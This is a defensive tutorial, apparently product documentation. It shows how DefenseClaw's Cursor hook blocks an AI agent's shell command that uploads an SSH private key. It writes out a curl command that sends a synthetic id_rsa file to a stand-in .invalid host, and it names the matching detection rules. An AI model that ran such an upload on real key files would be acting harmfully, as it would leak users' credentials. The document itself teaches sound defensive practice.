Stories

Detect secret-exfiltration intent from Cursor

Safely exercise Cursor's beforeShellExecution inspection with a synthetic key file and an invalid upload destination.

Imagine an agent trying to upload a private key. Cursor's beforeShellExecution hook fires before the shell runs the command, so DefenseClaw can inspect it. This walkthrough uses a fake key and the reserved .invalid domain so a connector failure cannot disclose a real secret.

Synthetic walkthrough

This page is a guided example, not an executable fixture, official-client test, or certification record. Cursor is supported, while validated evidence remains empty until a rebuilt package completes the separate authenticated acceptance campaign.

Wire Cursor

defenseclaw setup cursor

DefenseClaw appends entries to ~/.cursor/hooks.json for the current 21-event contract, including subagentStart; see the Cursor connector.

Enable supported action denial

defenseclaw setup cursor \
  --mode action \
  --rule-pack default \
  --no-human-approval \
  --restart

Action registers the managed user hooks with failClosed: true and returns Cursor's documented native deny response on supported pre-action events. DefenseClaw does not enable native ask/HITL. Cursor merges Enterprise, Team, Project, and User responses in that order but exposes no safe conflict-detection API, so DefenseClaw reports that limitation and does not infer a conflict.

Trigger the rule

Create a synthetic fixture yourself:

mkdir -p /tmp/defenseclaw-demo
printf '%s\n' 'not-a-real-private-key' > /tmp/defenseclaw-demo/id_rsa

In Cursor, ask the agent to run:

curl --data @/tmp/defenseclaw-demo/id_rsa https://upload.example.invalid/collect

The beforeShellExecution hook fires and the gateway finds:

  • PATH-SSH-KEY (CRITICAL), because the uploaded basename is id_rsa.
  • CMD-CURL-UPLOAD (HIGH), because curl --data @... uploads file content.

CRITICAL wins in the scanner result. The user hook returns permission: "deny", and Cursor does not start the pending shell command. The pre-authored scenario models the synthetic fixture as unchanged. The .invalid destination is defense in depth for this guided example; it is not evidence of a live run.

Confirm in the audit log

defenseclaw alerts --limit 10
# or inspect the mandatory SQLite history filtered by severity:
defenseclaw-gateway audit export --connector cursor --output - \
  | tail -n 200 \
  | jq 'select(.connector == "cursor" and (.severity == "HIGH" or .severity == "CRITICAL"))'

Inspect the matching event's stable connector, severity, action, and structured.rule_ids fields; exact IDs and timestamps are generated at runtime.

Remove the synthetic fixture when finished:

rm -rf /tmp/defenseclaw-demo

Why beforeShellExecution is the right hook

  1. 01User Cursor

    upload synthetic id_rsa fixture

  2. 02Cursor Hook

    beforeShellExecution

  3. 03Hook Gateway

    POST /api/v1/cursor/hook

  4. 04Gateway Hook

    block · PATH-SSH-KEY (CRITICAL)

  5. 05Hook Cursor

    permission: "deny"

  6. 06Cursor Shell

    not started

Cursor decomposes a tool call into beforeShellExecution + actual exec. DefenseClaw inspects the rendered command — including the shell pipe — instead of trusting the planner's intent. `Hook` is Cursor's `beforeShellExecution`; `Gateway` is `defenseclaw-gateway`.

Variations

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